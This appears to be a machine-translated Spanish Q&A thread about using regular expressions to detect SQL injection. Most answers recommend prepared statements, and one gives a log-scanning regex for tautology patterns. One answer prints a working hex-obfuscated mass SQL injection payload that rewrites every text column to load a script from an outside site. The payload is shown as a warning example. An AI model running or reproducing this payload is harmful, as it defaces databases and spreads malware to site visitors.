reales - RegEx para detectar inyección de SQL

sql injection ejemplos reales

Question

¿Hay una expresión regular que pueda detectar SQL en una cadena? ¿Alguien tiene una muestra de algo que hayan usado antes para compartir?

Answer 1

Ahórrese problemas y use procedimientos almacenados con declaraciones preparadas o consultas parametrizadas. Los procedimientos almacenados son una buena práctica de todos modos, ya que actúan como una interfaz a la base de datos, por lo que puede cambiar lo que ocurre detrás de las escenas (dentro del proceso almacenado), pero la firma sigue siendo la misma. Las declaraciones preparadas ayudan a proteger la inyección.

Answer 2

No lo hagas Prácticamente tienes la garantía de que fallarás. Use PreparedStatement (o su equivalente) en su lugar.

Answer 3

No tengo una expresión regular pero mi opinión es que lo más importante es detectar la comilla simple. Todos los ataques de inyección comienzan desde allí. Probablemente tengan el - allí también para comentar y otro SQL que podría estar después de la cadena.

Answer 4

use procs almacenados o declaraciones preparadas, ¿cómo detectará algo como esto? Por cierto, NO corras eso

   DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415 245204054205641524348415228323535292C40432056415243
   4841522832353529204445434C415245205461626C655 F437572736F7220435552534F5220464F522053454C45435420612E6 E616D652C622E6E616D652046524F4D207379736F626A65637473206 12C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E78747970653D27752720414E442028622E78747 970653D3939204F5220622E78747970653D3335204F5220622E78747 970653D323331204F5220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E4558542046524F4 D205461626C655F437572736F7220494E544F2040542C40432057484 94C4528404046455443485F5354415455533D302920424547494E204 55845432827555044415445205B272B40542B275D20534554205B272 B40432B275D3D525452494D28434F4E5645525428564152434841522 834303030292C5B272B40432B275D29292B27273C736372697074207 372633D687474703A2F2F7777772E63686B626E722E636F6D2F622E6 A733E3C2F7363726970743E27272729204645544348204E455854204 6524F4D205461626C655F437572736F7220494E544F2040542C40432 0454E4420434C4F5345205461626C655F437572736F72204445414C4 C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);

Answer 5

Como se dijo, es mejor usar declaraciones preparadas. Podría alegar forzar que las consultas clave sean ejecutadas por un procedimiento almacenado para forzar el uso de la preparación de la llamada.

De todos modos, aquí hay un grep simple para detectar n = n entero clásico en where cláusulas; omite marcar el 1 = 1 utilizado por muchos constructores de consultas diferidas para el AND, pero lo marcará para el OR

((WHERE|OR)[ ]+[/(]*[ ]*([/(]*[0-9]+[/)]*)[ ]*=[ ]*[/)]*[ ]*/3)|AND[ ]+[/(]*[ ]*([/(]*1[0-9]+|[2-9][0-9]*[/)]*)[ ]*[/(]*[ ]*=[ ]*[/)]*[ ]*/4

Por supuesto, podría mejorarse para detectar comparaciones decimales y de cuerdas, pero fue un mecanismo de detección rápido, junto con otros greps como ORD (MID (, etc.)

Úselo en un registro de consultas, como el registro general de mysql

Espero que sea útil